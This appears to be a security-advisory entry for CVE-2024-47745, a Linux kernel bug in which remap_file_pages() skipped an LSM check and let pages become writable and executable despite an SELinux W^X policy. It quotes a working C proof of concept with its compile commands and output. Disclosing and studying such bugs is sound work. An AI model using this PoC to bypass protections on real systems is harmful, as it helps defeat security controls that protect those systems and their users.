🛡️ AZL-50713 — kernel

CVE-2024-47745 affecting package kernel 5.15.200.1-1

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which

doesn't contain the LSM security check. And if the process has called

personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for

RW pages, this will actually result in remapping the pages to RWX,

bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the

remap_file_pages syscall handler before do_mmap() is called. Otherwise, it

potentially permits an attacker to bypass a W^X policy enforced by

SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via

AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) {

size_t pagesz = sysconf(_SC_PAGE_SIZE);

int mfd = syscall(SYS_memfd_create, "test", 0);

const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,

MAP_SHARED, mfd, 0);

unsigned int old = syscall(SYS_personality, 0xffffffff);

syscall(SYS_personality, READ_IMPLIES_EXEC | old);

syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);

syscall(SYS_personality, old);

// show the RWX page exists even if W^X policy is enforced

int fd = open("/proc/self/maps", O_RDONLY);

unsigned char buf2[1024];

while (1) {

int ret = read(fd, buf2, 1024);

if (ret <= 0) break;

write(1, buf2, ret);

}

close(fd);

}

$ gcc test.c -o test

$ ./test | grep rwx

7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]